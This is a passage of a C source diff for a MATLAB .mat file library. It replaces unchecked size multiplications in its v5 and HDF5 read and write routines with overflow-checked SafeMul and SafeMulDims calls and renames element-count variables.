- matvar->data = malloc(nfunctions*sizeof(matvar_t *));
+ SafeMulDims(matvar, &nelems);
+ matvar->data_size = sizeof(matvar_t *);
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
+ matvar->data = malloc(matvar->nbytes);
if ( matvar->data != NULL ) {
size_t i;
matvar_t **functions = (matvar_t**)matvar->data;;
- matvar->data_size = sizeof(matvar_t *);
- matvar->nbytes = nfunctions*matvar->data_size;
- for ( i = 0; i < nfunctions; i++ )
+ for ( i = 0; i < nelems; i++ )
functions[i] = Mat_VarReadNextInfo(mat);
} else {
- bytesread = 0;
matvar->data_size = 0;
matvar->nbytes = 0;
}
- return bytesread;
+ return 0;
}
/** @brief Reads the rank and dimensions in @c matvar
@@ -1440,10 +1466,9 @@ WriteType(mat_t *mat,matvar_t *matvar)
mat_int16_t array_name_type = MAT_T_INT8;
mat_int8_t pad1 = 0;
int nBytes, j;
- size_t nmemb = 1;
+ size_t nelems = 1;
- for ( j = 0; j < matvar->rank; j++ )
- nmemb *= matvar->dims[j];
+ SafeMulDims(matvar, &nelems);
switch ( matvar->class_type ) {
case MAT_C_DOUBLE:
@@ -1463,16 +1488,16 @@ WriteType(mat_t *mat,matvar_t *matvar)
if ( NULL == matvar->data )
complex_data = &null_complex_data;
- nBytes=WriteData(mat,complex_data->Re,nmemb,matvar->data_type);
+ nBytes=WriteData(mat,complex_data->Re,nelems,matvar->data_type);
if ( nBytes % 8 )
for ( j = nBytes % 8; j < 8; j++ )
fwrite(&pad1,1,1,(FILE*)mat->fp);
- nBytes=WriteData(mat,complex_data->Im,nmemb,matvar->data_type);
+ nBytes=WriteData(mat,complex_data->Im,nelems,matvar->data_type);
if ( nBytes % 8 )
for ( j = nBytes % 8; j < 8; j++ )
fwrite(&pad1,1,1,(FILE*)mat->fp);
} else {
- nBytes=WriteData(mat,matvar->data,nmemb,matvar->data_type);
+ nBytes=WriteData(mat,matvar->data,nelems,matvar->data_type);
if ( nBytes % 8 )
for ( j = nBytes % 8; j < 8; j++ )
fwrite(&pad1,1,1,(FILE*)mat->fp);
@@ -1480,19 +1505,19 @@ WriteType(mat_t *mat,matvar_t *matvar)
break;
}
case MAT_C_CHAR:
- nBytes=WriteCharData(mat,matvar->data,nmemb,matvar->data_type);
+ nBytes=WriteCharData(mat,matvar->data,nelems,matvar->data_type);
break;
case MAT_C_CELL:
{
- size_t ncells, i;
+ size_t i;
matvar_t **cells = (matvar_t **)matvar->data;
/* Check for an empty cell array */
if ( matvar->nbytes == 0 || matvar->data_size == 0 ||
matvar->data == NULL )
break;
- ncells = matvar->nbytes / matvar->data_size;
- for ( i = 0; i < ncells; i++ )
+ nelems = matvar->nbytes / matvar->data_size;
+ for ( i = 0; i < nelems; i++ )
WriteCellArrayField(mat,cells[i]);
break;
}
@@ -1502,11 +1527,11 @@ WriteType(mat_t *mat,matvar_t *matvar)
mat_int16_t fieldname_data_size = 4;
char *padzero;
int fieldname_size;
- size_t maxlen = 0, nfields, i;
+ size_t maxlen = 0, nfields, i, nelems_x_nfields;
matvar_t **fields = (matvar_t **)matvar->data;
unsigned fieldname;
- /* nmemb*matvar->data_size can be zero when saving a struct that
+ /* nelems*matvar->data_size can be zero when saving a struct that
* contains an empty struct in one of its fields
* (e.g. x.y = struct('z', {})). If it's zero, we would divide
* by zero.
@@ -1560,7 +1585,8 @@ WriteType(mat_t *mat,matvar_t *matvar)
fwrite(padzero,1,fieldname_size-len,(FILE*)mat->fp);
}
free(padzero);
- for ( i = 0; i < nmemb*nfields; i++ )
+ SafeMul(&nelems_x_nfields, nelems, nfields);
+ for ( i = 0; i < nelems_x_nfields; i++ )
WriteStructField(mat,fields[i]);
break;
}
@@ -1803,18 +1829,16 @@ WriteCompressedTypeArrayFlags(mat_t *mat,matvar_t *matvar,z_streamp z)
static size_t
WriteCompressedType(mat_t *mat,matvar_t *matvar,z_streamp z)
{
- int j;
mat_uint32_t comp_buf[512];
mat_uint32_t uncomp_buf[512] = {0,};
- size_t byteswritten = 0, nmemb = 1;
+ size_t byteswritten = 0, nelems = 1;
if ( MAT_C_EMPTY == matvar->class_type ) {
/* exit early if this is an empty data */
return byteswritten;
}
- for ( j = 0; j < matvar->rank; j++ )
- nmemb *= matvar->dims[j];
+ SafeMulDims(matvar, &nelems);
switch ( matvar->class_type ) {
case MAT_C_DOUBLE:
@@ -1837,32 +1861,32 @@ WriteCompressedType(mat_t *mat,matvar_t *matvar,z_streamp z)
complex_data = &null_complex_data;
byteswritten += WriteCompressedData(mat,z,
- complex_data->Re,nmemb,matvar->data_type);
+ complex_data->Re,nelems,matvar->data_type);
byteswritten += WriteCompressedData(mat,z,
- complex_data->Im,nmemb,matvar->data_type);
+ complex_data->Im,nelems,matvar->data_type);
} else {
byteswritten += WriteCompressedData(mat,z,
- matvar->data,nmemb,matvar->data_type);
+ matvar->data,nelems,matvar->data_type);
}
break;
}
case MAT_C_CHAR:
{
byteswritten += WriteCompressedCharData(mat,z,matvar->data,
- nmemb,matvar->data_type);
+ nelems,matvar->data_type);
break;
}
case MAT_C_CELL:
{
- size_t ncells, i;
+ size_t i;
matvar_t **cells = (matvar_t **)matvar->data;
/* Check for an empty cell array */
if ( matvar->nbytes == 0 || matvar->data_size == 0 ||
matvar->data == NULL )
break;
- ncells = matvar->nbytes / matvar->data_size;
- for ( i = 0; i < ncells; i++ )
+ nelems = matvar->nbytes / matvar->data_size;
+ for ( i = 0; i < nelems; i++ )
WriteCompressedCellArrayField(mat,cells[i],z);
break;
}
@@ -1873,7 +1897,7 @@ WriteCompressedType(mat_t *mat,matvar_t *matvar,z_streamp z)
mat_int16_t fieldname_data_size = 4;
unsigned char *padzero;
int fieldname_size;
- size_t maxlen = 0, nfields, i;
+ size_t maxlen = 0, nfields, i, nelems_x_nfields;
mat_int32_t array_name_type = MAT_T_INT8;
matvar_t **fields = (matvar_t **)matvar->data;
@@ -1936,9 +1960,9 @@ WriteCompressedType(mat_t *mat,matvar_t *matvar,z_streamp z)
} while ( z->avail_out == 0 );
}
free(padzero);
- for ( i = 0; i < nmemb*nfields; i++ )
- byteswritten +=
- WriteCompressedStructField(mat,fields[i],z);
+ SafeMul(&nelems_x_nfields, nelems, nfields);
+ for ( i = 0; i < nelems_x_nfields; i++ )
+ byteswritten += WriteCompressedStructField(mat,fields[i],z);
break;
}
case MAT_C_SPARSE:
@@ -2511,8 +2535,8 @@ Mat_VarReadNumeric5(mat_t *mat,matvar_t *matvar,void *data,size_t N)
void
Mat_VarRead5(mat_t *mat, matvar_t *matvar)
{
- int nBytes = 0, j, byteswap, data_in_tag = 0;
- size_t len;
+ int nBytes = 0, byteswap, data_in_tag = 0, err;
+ size_t nelems = 1;
enum matio_types packed_type = MAT_T_UNKNOWN;
long fpos;
mat_uint32_t tag[2];
@@ -2535,10 +2559,12 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
Mat_Critical("Couldn't determine file position");
return;
}
- len = 1;
+ err = SafeMulDims(matvar, &nelems);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ return;
+ }
byteswap = mat->byteswap;
- for ( j = 0; j < matvar->rank; j++ )
- len *= matvar->dims[j];
switch ( matvar->class_type ) {
case MAT_C_EMPTY:
matvar->nbytes = 0;
@@ -2642,8 +2668,12 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
/* nBytes = tag[1]; */
}
matvar->data_type = MAT_T_UINT8;
- matvar->data_size = (int)Mat_SizeOf(MAT_T_UINT8);
- matvar->nbytes = len*matvar->data_size;
+ matvar->data_size = Mat_SizeOf(MAT_T_UINT8);
+ err = SafeMul(&matvar->nbytes, nelems, matvar->data_size);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ break;
+ }
}
if ( matvar->isComplex ) {
break;
@@ -2684,14 +2714,14 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
case MAT_C_STRUCT:
{
matvar_t **fields;
- size_t nfields, i;
+ size_t i, nelems_x_nfields;
matvar->data_type = MAT_T_STRUCT;
if ( !matvar->nbytes || !matvar->data_size || NULL == matvar->data )
break;
- nfields = matvar->internal->num_fields;
+ SafeMul(&nelems_x_nfields, nelems, matvar->internal->num_fields);
fields = (matvar_t **)matvar->data;
- for ( i = 0; i < len*nfields; i++ ) {
+ for ( i = 0; i < nelems_x_nfields; i++ ) {
if ( NULL != fields[i] ) {
Mat_VarRead5(mat,fields[i]);
}
@@ -2708,7 +2738,7 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
break;
}
cells = (matvar_t **)matvar->data;
- for ( i = 0; i < len; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
if ( NULL != cells[i] ) {
Mat_VarRead5(mat, cells[i]);
}
@@ -3355,23 +3385,23 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
if ( matvar->isComplex ) {
mat_complex_split_t *complex_data;
- matvar->nbytes = len*matvar->data_size;
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
complex_data = ComplexMalloc(matvar->nbytes);
if ( NULL == complex_data ) {
Mat_Critical("Couldn't allocate memory for the complex data");
break;
}
- Mat_VarReadNumeric5(mat,matvar,complex_data->Re,len);
- Mat_VarReadNumeric5(mat,matvar,complex_data->Im,len);
+ Mat_VarReadNumeric5(mat,matvar,complex_data->Re,nelems);
+ Mat_VarReadNumeric5(mat,matvar,complex_data->Im,nelems);
matvar->data = complex_data;
} else {
- matvar->nbytes = len*matvar->data_size;
- matvar->data = malloc(matvar->nbytes);
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
+ matvar->data = malloc(matvar->nbytes);
if ( NULL == matvar->data ) {
Mat_Critical("Couldn't allocate memory for the data");
break;
}
- Mat_VarReadNumeric5(mat,matvar,matvar->data,len);
+ Mat_VarReadNumeric5(mat,matvar,matvar->data,nelems);
}
default:
break;
@@ -4170,12 +4200,12 @@ int
Mat_VarReadDataLinear5(mat_t *mat,matvar_t *matvar,void *data,int start,
int stride,int edge)
{
- int err = 0, i, real_bytes = 0;
+ int err = 0, real_bytes = 0;
mat_int32_t tag[2];
#if defined(HAVE_ZLIB)
z_stream z;
#endif
- size_t bytesread = 0, nmemb = 1;
+ size_t bytesread = 0, nelems = 1;
if ( mat->version == MAT_FT_MAT4 )
return -1;
@@ -4241,10 +4271,12 @@ Mat_VarReadDataLinear5(mat_t *mat,matvar_t *matvar,void *data,int start,
if ( real_bytes % 8 )
real_bytes += (8-(real_bytes % 8));
- for ( i = 0; i < matvar->rank; i++ )
- nmemb *= matvar->dims[i];
+ err = SafeMulDims(matvar, &nelems);
+ if ( err ) {
+ Mat_Critical("Integer multiplication overflow");
+ }
- if ( (size_t)stride*(edge-1)+start+1 > nmemb ) {
+ if ( (size_t)stride*(edge-1)+start+1 > nelems ) {
err = 1;
} else if ( matvar->compression == MAT_COMPRESSION_NONE ) {
if ( matvar->isComplex ) {
@@ -4377,7 +4409,7 @@ Mat_VarWrite5(mat_t *mat,matvar_t *matvar,int compress)
/* Name of variable */
if ( strlen(matvar->name) <= 4 ) {
mat_int32_t array_name_type = MAT_T_INT8;
- mat_int32_t array_name_len = strlen(matvar->name);
+ mat_int32_t array_name_len = (mat_int32_t)strlen(matvar->name);
mat_int8_t pad1 = 0;
#if 0
fwrite(&array_name_type,2,1,(FILE*)mat->fp);
diff --git a/src/mat73.c b/src/mat73.c
index 7c5c82d9..36bb940e 100644
--- a/src/mat73.c
+++ b/src/mat73.c
@@ -102,7 +102,7 @@ static hid_t SizeType2H5T(void);
static hid_t DataType(hid_t h5_type, int isComplex);
static void Mat_H5GetChunkSize(size_t rank,hsize_t *dims,hsize_t *chunk_dims);
static void Mat_H5ReadVarInfo(matvar_t *matvar,hid_t dset_id);
-static size_t* Mat_H5ReadDims(hid_t dset_id, hsize_t *numel, int *rank);
+static size_t* Mat_H5ReadDims(hid_t dset_id, hsize_t *nelems, int *rank);
static void Mat_H5ReadFieldNames(matvar_t *matvar, hid_t dset_id, hsize_t *nfields);
static void Mat_H5ReadDatasetInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id);
static void Mat_H5ReadGroupInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id);
@@ -534,12 +534,12 @@ Mat_H5ReadVarInfo(matvar_t *matvar,hid_t dset_id)
}
static size_t*
-Mat_H5ReadDims(hid_t dset_id, hsize_t *numel, int *rank)
+Mat_H5ReadDims(hid_t dset_id, hsize_t *nelems, int *rank)
{
hid_t space_id;
size_t* perm_dims;
- *numel = 0;
+ *nelems = 0;
space_id = H5Dget_space(dset_id);
*rank = H5Sget_simple_extent_ndims(space_id);
if ( 0 > *rank ) {
@@ -552,25 +552,27 @@ Mat_H5ReadDims(hid_t dset_id, hsize_t *numel, int *rank)
if ( MAX_RANK >= *rank ) {
hsize_t dims[MAX_RANK];
int k;
+ size_t tmp = 1;
(void)H5Sget_simple_extent_dims(space_id,dims,NULL);
- *numel = 1;
/* Permute dimensions */
for ( k = 0; k < *rank; k++ ) {
perm_dims[k] = (size_t)dims[*rank - k - 1];
- *numel *= perm_dims[k];
+ SafeMul(&tmp, tmp, perm_dims[k]);
}
+ *nelems = (hsize_t)tmp;
H5Sclose(space_id);
} else {
hsize_t* dims = (hsize_t*)malloc(*rank*sizeof(hsize_t));
if ( NULL != dims ) {
int k;
+ size_t tmp = 1;
(void)H5Sget_simple_extent_dims(space_id,dims,NULL);
- *numel = 1;
/* Permute dimensions */
for ( k = 0; k < *rank; k++ ) {
perm_dims[k] = (size_t)dims[*rank - k - 1];
- *numel *= perm_dims[k];
+ SafeMul(&tmp, tmp, perm_dims[k]);
}
+ *nelems = (hsize_t)tmp;
free(dims);
H5Sclose(space_id);
} else {
@@ -625,11 +627,11 @@ static void
Mat_H5ReadDatasetInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
{
hid_t attr_id,type_id;
- hsize_t numel;
+ hsize_t nelems;
Mat_H5ReadVarInfo(matvar, dset_id);
- matvar->dims = Mat_H5ReadDims(dset_id, &numel, &matvar->rank);
+ matvar->dims = Mat_H5ReadDims(dset_id, &nelems, &matvar->rank);
if ( NULL == matvar->dims ) {
return;
}
@@ -646,6 +648,11 @@ Mat_H5ReadDatasetInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
free(matvar->dims);
matvar->dims = (size_t*)calloc(matvar->rank,sizeof(*matvar->dims));
H5Dread(dset_id,SizeType2H5T(),H5S_ALL,H5S_ALL,H5P_DEFAULT,matvar->dims);
+ {
+ size_t tmp = 1;
+ SafeMulDims(matvar, &tmp);
+ nelems = (hsize_t)tmp;
+ }
}
}
@@ -660,22 +667,18 @@ Mat_H5ReadDatasetInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
/* If the dataset is a cell array read the info of the cells */
if ( MAT_C_CELL == matvar->class_type ) {
matvar_t **cells;
- size_t ncells = 1;
- int j;
hobj_ref_t *ref_ids;
- for ( j = 0; j < matvar->rank; j++ )
- ncells *= matvar->dims[j];
matvar->data_size = sizeof(matvar_t**);
- matvar->nbytes = ncells*matvar->data_size;
- matvar->data = malloc(matvar->nbytes);
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
+ matvar->data = malloc(matvar->nbytes);
cells = (matvar_t**)matvar->data;
- if ( ncells ) {
+ if ( nelems ) {
size_t i;
- ref_ids = (hobj_ref_t*)malloc(ncells*sizeof(*ref_ids));
+ ref_ids = (hobj_ref_t*)malloc(nelems*sizeof(*ref_ids));
H5Dread(dset_id,H5T_STD_REF_OBJ,H5S_ALL,H5S_ALL,H5P_DEFAULT,ref_ids);
- for ( i = 0; i < ncells; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
hid_t ref_id;
cells[i] = Mat_VarCalloc();
cells[i]->internal->hdf5_ref = ref_ids[i];
@@ -701,7 +704,7 @@ static void
Mat_H5ReadGroupInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
{
int fields_are_variables = 1;
- hsize_t nfields=0,numel;
+ hsize_t nfields=0,nelems;
hid_t attr_id,field_id;
matvar_t **fields;
H5O_type_t obj_type;
@@ -720,7 +723,7 @@ Mat_H5ReadGroupInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
matvar->class_type = MAT_C_SPARSE;
sparse_dset_id = H5Dopen(dset_id,"jc",H5P_DEFAULT);
- matvar->dims = Mat_H5ReadDims(sparse_dset_id, &numel, &matvar->rank);
+ matvar->dims = Mat_H5ReadDims(sparse_dset_id, &nelems, &matvar->rank);
H5Dclose(sparse_dset_id);
if ( NULL != matvar->dims ) {
if ( 1 == matvar->rank ) {
@@ -807,7 +810,7 @@ Mat_H5ReadGroupInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
if ( NULL != matvar->dims ) {
matvar->dims[0] = 1;
matvar->dims[1] = 1;
- numel = 1;
+ nelems = 1;
} else {
H5Tclose(field_type_id);
H5Dclose(field_id);
@@ -815,7 +818,7 @@ Mat_H5ReadGroupInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
return;
}
} else {
- matvar->dims = Mat_H5ReadDims(field_id, &numel, &matvar->rank);
+ matvar->dims = Mat_H5ReadDims(field_id, &nelems, &matvar->rank);
if ( NULL != matvar->dims ) {
fields_are_variables = 0;
} else {
@@ -831,7 +834,7 @@ Mat_H5ReadGroupInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
if ( NULL != matvar->dims ) {
matvar->dims[0] = 1;
matvar->dims[1] = 1;
- numel = 1;
+ nelems = 1;
} else {
H5Tclose(field_type_id);
H5Dclose(field_id);
@@ -848,20 +851,24 @@ Mat_H5ReadGroupInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
if ( NULL != matvar->dims ) {
matvar->dims[0] = 1;
matvar->dims[1] = 1;
- numel = 1;
+ nelems = 1;
} else {
Mat_Critical("Error allocating memory for matvar->dims");
return;
}
}
- if ( numel < 1 || nfields < 1 )
+ if ( nelems < 1 || nfields < 1 )
return;
- fields = (matvar_t**)malloc((size_t)(nfields*numel)*sizeof(*fields));
- matvar->data = fields;
matvar->data_size = sizeof(*fields);
- matvar->nbytes = (size_t)(nfields*numel*matvar->data_size);
+ {
+ size_t nelems_x_nfields;
+ SafeMul(&nelems_x_nfields, nelems, nfields);
+ SafeMul(&matvar->nbytes, nelems_x_nfields, matvar->data_size);
+ }
+ fields = (matvar_t**)malloc(matvar->nbytes);
+ matvar->data = fields;
if ( NULL != fields ) {
int k;
for ( k = 0; k < nfields; k++ ) {
@@ -873,10 +880,10 @@ Mat_H5ReadGroupInfo(mat_t *mat,matvar_t *matvar,hid_t dset_id)
H5P_DEFAULT);
if ( !fields_are_variables ) {
int l;
- hobj_ref_t *ref_ids = (hobj_ref_t*)malloc((size_t)numel*sizeof(*ref_ids));
+ hobj_ref_t *ref_ids = (hobj_ref_t*)malloc((size_t)nelems*sizeof(*ref_ids));
H5Dread(field_id,H5T_STD_REF_OBJ,H5S_ALL,H5S_ALL,
H5P_DEFAULT,ref_ids);
- for ( l = 0; l < numel; l++ ) {
+ for ( l = 0; l < nelems; l++ ) {
hid_t ref_id;
ssize_t name_len;
fields[l*nfields+k] = Mat_VarCalloc();
@@ -1011,8 +1018,7 @@ Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space,
static void
Mat_H5ReadNextReferenceData(hid_t ref_id,matvar_t *matvar,mat_t *mat)
{
- int k;
- size_t numel;
+ size_t nelems = 1;
if ( ref_id < 0 || matvar == NULL )
return;
@@ -1024,10 +1030,8 @@ Mat_H5ReadNextReferenceData(hid_t ref_id,matvar_t *matvar,mat_t *mat)
if ( MAT_C_CELL == matvar->class_type ) {
size_t i;
matvar_t **cells = (matvar_t**)matvar->data;
- numel = 1;
- for ( k = 0; k < matvar->rank; k++ )
- numel *= matvar->dims[k];
- for ( i = 0; i < numel; i++ )
+ SafeMulDims(matvar, &nelems);
+ for ( i = 0; i < nelems; i++ )
Mat_H5ReadNextReferenceData(cells[i]->internal->id,cells[i],mat);
return;
}
@@ -1036,9 +1040,7 @@ Mat_H5ReadNextReferenceData(hid_t ref_id,matvar_t *matvar,mat_t *mat)
case H5I_DATASET:
{
hid_t data_type_id, dset_id;
- numel = 1;
- for ( k = 0; k < matvar->rank; k++ )
- numel *= matvar->dims[k];
+ SafeMulDims(matvar, &nelems);
if ( MAT_C_CHAR == matvar->class_type ) {
matvar->data_type = MAT_T_UINT8;
@@ -1051,7 +1053,7 @@ Mat_H5ReadNextReferenceData(hid_t ref_id,matvar_t *matvar,mat_t *mat)
matvar->data_size = Mat_SizeOfClass(matvar->class_type);
data_type_id = ClassType2H5T(matvar->class_type);
}
- matvar->nbytes = numel*matvar->data_size;
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
if ( matvar->nbytes < 1 ) {
H5Dclose(ref_id);
@@ -1078,13 +1080,13 @@ Mat_H5ReadNextReferenceData(hid_t ref_id,matvar_t *matvar,mat_t *mat)
Mat_VarRead73(mat,matvar);
} else {
matvar_t **fields;
- size_t i,nfields = 0;
+ size_t i;
if ( !matvar->nbytes || !matvar->data_size || NULL == matvar->data )
break;
- nfields = matvar->nbytes / matvar->data_size;
+ nelems = matvar->nbytes / matvar->data_size;
fields = (matvar_t**)matvar->data;
- for ( i = 0; i < nfields; i++ ) {
+ for ( i = 0; i < nelems; i++ ) {
if ( 0 < fields[i]->internal->hdf5_ref &&
-1 < fields[i]->internal->id ) {
/* Dataset of references */
@@ -1301,15 +1303,15 @@ static int
Mat_VarWriteCell73(hid_t id,matvar_t *matvar,const char *name,hid_t *refs_id,hsize_t *dims)
{
int k;
- hsize_t nmemb = 1;
+ hsize_t nelems = 1;
matvar_t **cells;
int err = 0;
cells = (matvar_t**)matvar->data;
for ( k = 0; k < matvar->rank; k++ )
- nmemb *= dims[k];
+ nelems *= dims[k];
- if ( 0 == nmemb || NULL == matvar->data ) {
+ if ( 0 == nelems || NULL == matvar->data ) {
err = Mat_VarWriteEmpty(id, matvar, name, ClassNames[matvar->class_type]);
} else {
if ( *refs_id < 0 ) {
@@ -1324,12 +1326,12 @@ Mat_VarWriteCell73(hid_t id,matvar_t *matvar,const char *name,hid_t *refs_id,hsi
hobj_ref_t *refs;
hid_t str_type_id,mspace_id,dset_id,attr_id,aspace_id;
- refs = (hobj_ref_t*)malloc((size_t)nmemb*sizeof(*refs));
+ refs = (hobj_ref_t*)malloc((size_t)nelems*sizeof(*refs));
mspace_id = H5Screate_simple(matvar->rank,dims,NULL);
dset_id = H5Dcreate(id,name,H5T_STD_REF_OBJ,mspace_id,
H5P_DEFAULT,H5P_DEFAULT,H5P_DEFAULT);
- for ( k = 0; k < nmemb; k++ ) {
+ for ( k = 0; k < nelems; k++ ) {
err += Mat_VarWriteRef(id, cells[k], matvar->compression,
refs_id, refs+k);
}
@@ -1373,13 +1375,13 @@ static int
Mat_VarWriteChar73(hid_t id,matvar_t *matvar,const char *name,hsize_t *dims)
{
int err = 0, k;
- hsize_t numel = 1;
+ hsize_t nelems = 1;
for ( k = 0; k < matvar->rank; k++ ) {
- numel *= dims[k];
+ nelems *= dims[k];
}
- if ( 0 == numel || NULL == matvar->data ) {
+ if ( 0 == nelems || NULL == matvar->data ) {
err = Mat_VarWriteEmpty(id, matvar, name, ClassNames[matvar->class_type]);
} else {
int matlab_int_decode = 2;
@@ -1501,11 +1503,11 @@ static int
Mat_VarWriteLogical73(hid_t id,matvar_t *matvar,const char *name,hsize_t *dims)
{
int err = 0, k;
- hsize_t numel = 1;
+ hsize_t nelems = 1;
hid_t plist;
for ( k = 0; k < matvar->rank; k++ ) {
- numel *= dims[k];
+ nelems *= dims[k];
}
if ( matvar->compression == MAT_COMPRESSION_ZLIB ) {
@@ -1530,7 +1532,7 @@ Mat_VarWriteLogical73(hid_t id,matvar_t *matvar,const char *name,hsize_t *dims)
plist = H5P_DEFAULT;
}
- if ( 0 == numel || NULL == matvar->data ) {
+ if ( 0 == nelems || NULL == matvar->data ) {
err = Mat_VarWriteEmpty(id, matvar, name, "logical");
} else {
int int_decode = 1;
@@ -1590,11 +1592,11 @@ static int
Mat_VarWriteNumeric73(hid_t id,matvar_t *matvar,const char *name,hsize_t *dims,hsize_t* max_dims)
{
int err = 0, k;
- hsize_t numel = 1;
+ hsize_t nelems = 1;
hid_t plist;
for ( k = 0; k < matvar->rank; k++ ) {
- numel *= dims[k];
+ nelems *= dims[k];
}
if ( matvar->compression || NULL != max_dims ) {
@@ -1620,7 +1622,7 @@ Mat_VarWriteNumeric73(hid_t id,matvar_t *matvar,const char *name,hsize_t *dims,h
plist = H5P_DEFAULT;
}
- if ( 0 == numel || NULL == matvar->data ) {
+ if ( 0 == nelems || NULL == matvar->data ) {
err = Mat_VarWriteEmpty(id, matvar, name, ClassNames[matvar->class_type]);
} else {
hid_t mspace_id,dset_id,attr_type_id,attr_id,aspace_id;
@@ -1670,13 +1672,13 @@ static int
Mat_VarWriteAppendNumeric73(hid_t id,matvar_t *matvar,const char *name,hsize_t *dims,int dim)
{
int err = 0, k;
- hsize_t numel = 1;
+ hsize_t nelems = 1;
for ( k = 0; k < matvar->rank; k++ ) {
- numel *= dims[k];
+ nelems *= dims[k];
}
- if ( 0 != numel && NULL != matvar->data ) {
+ if ( 0 != nelems && NULL != matvar->data ) {
if ( H5Lexists(id, matvar->name, H5P_DEFAULT) ) {
err = Mat_H5WriteAppendData(id, ClassType2H5T(matvar->class_type), matvar->rank,
matvar->name, matvar->dims, dims, dim, matvar->isComplex, matvar->data);
@@ -1828,12 +1830,15 @@ static int
Mat_VarWriteStruct73(hid_t id,matvar_t *matvar,const char *name,hid_t *refs_id,hsize_t *dims,hsize_t* max_dims)
{
int err = 0, k;
- hsize_t nmemb = 1;
+ hsize_t nelems;
- for ( k = 0; k < matvar->rank; k++ )
- nmemb *= matvar->dims[k];
+ {
+ size_t tmp = 1;
+ SafeMulDims(matvar, &tmp);
+ nelems = (hsize_t)tmp;
+ }
- if ( 0 == nmemb || NULL == matvar->data ) {
+ if ( 0 == nelems || NULL == matvar->data ) {
err = Mat_VarWriteEmpty(id, matvar, name, ClassNames[matvar->class_type]);
} else {
hid_t struct_id = H5Gcreate(id,name,H5P_DEFAULT,H5P_DEFAULT,H5P_DEFAULT);
@@ -1883,7 +1888,7 @@ Mat_VarWriteStruct73(hid_t id,matvar_t *matvar,const char *name,hid_t *refs_id,h
H5Tclose(str_type_id);
free(fieldnames);
- if ( 1 == nmemb && NULL == max_dims ) {
+ if ( 1 == nelems && NULL == max_dims ) {
for ( k = 0; k < nfields; k++ ) {
if ( NULL != fields[k] )
fields[k]->compression = matvar->compression;
@@ -1907,9 +1912,9 @@ Mat_VarWriteStruct73(hid_t id,matvar_t *matvar,const char *name,hid_t *refs_id,h
refs = (hobj_ref_t**)malloc((size_t)nfields*sizeof(*refs));
for ( l = 0; l < nfields; l++ )
- refs[l] = (hobj_ref_t*)malloc((size_t)nmemb*sizeof(*refs[l]));
+ refs[l] = (hobj_ref_t*)malloc((size_t)nelems*sizeof(*refs[l]));
- for ( k = 0; k < nmemb; k++ ) {
+ for ( k = 0; k < nelems; k++ ) {
for ( l = 0; l < nfields; l++ ) {
err += Mat_VarWriteRef(id, fields[k*nfields+l], matvar->compression,
refs_id, refs[l]+k);
@@ -1967,13 +1972,13 @@ static int
Mat_VarWriteAppendStruct73(hid_t id,matvar_t *matvar,const char *name,hid_t *refs_id,hsize_t *dims,int dim)
{
int err = 0, k;
- hsize_t nmemb = 1;
+ hsize_t nelems = 1;
for ( k = 0; k < matvar->rank; k++ ) {
- nmemb *= dims[k];
+ nelems *= dims[k];
}
- if ( 0 != nmemb && NULL != matvar->data ) {
+ if ( 0 != nelems && NULL != matvar->data ) {
if ( H5Lexists(id, name, H5P_DEFAULT) ) {
hid_t struct_id;
hobj_ref_t **refs;
@@ -1986,9 +1991,9 @@ Mat_VarWriteAppendStruct73(hid_t id,matvar_t *matvar,const char *name,hid_t *ref
refs = (hobj_ref_t**)malloc((size_t)nfields*sizeof(*refs));
for ( l = 0; l < nfields; l++ )
- refs[l] = (hobj_ref_t*)malloc((size_t)nmemb*sizeof(*refs[l]));
+ refs[l] = (hobj_ref_t*)malloc((size_t)nelems*sizeof(*refs[l]));
- for ( k = 0; k < nmemb; k++ ) {
+ for ( k = 0; k < nelems; k++ ) {
for ( l = 0; l < nfields; l++ ) {
err += Mat_VarWriteRef(id, fields[k*nfields+l], matvar->compression,
refs_id, refs[l]+k);
@@ -2279,7 +2284,6 @@ Mat_Create73(const char *matname,const char *hdr_str)
void
Mat_VarRead73(mat_t *mat,matvar_t *matvar)
{
- int k;
hid_t fid,dset_id,ref_id;
if ( NULL == mat || NULL == matvar )
@@ -2301,13 +2305,12 @@ Mat_VarRead73(mat_t *mat,matvar_t *matvar)
case MAT_C_INT8:
case MAT_C_UINT8:
{
- size_t numel = 1;
- for ( k = 0; k < matvar->rank; k++ )
- numel *= matvar->dims[k];
+ size_t nelems = 1;
+ SafeMulDims(matvar, &nelems);
matvar->data_size = Mat_SizeOfClass(matvar->class_type);
- matvar->nbytes = numel*matvar->data_size;
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
- if ( numel < 1 )
+ if ( nelems < 1 )
break;
if ( NULL != matvar->internal->hdf5_name ) {
@@ -2338,11 +2341,10 @@ Mat_VarRead73(mat_t *mat,matvar_t *matvar)
}
case MAT_C_CHAR:
{
- size_t numel = 1;
- for ( k = 0; k < matvar->rank; k++ )
- numel *= matvar->dims[k];
+ size_t nelems = 1;
+ SafeMulDims(matvar, &nelems);
matvar->data_size = Mat_SizeOf(matvar->data_type);
- matvar->nbytes = numel*matvar->data_size;
+ SafeMul(&matvar->nbytes, nelems, matvar->data_size);
if ( NULL != matvar->internal->hdf5_name ) {
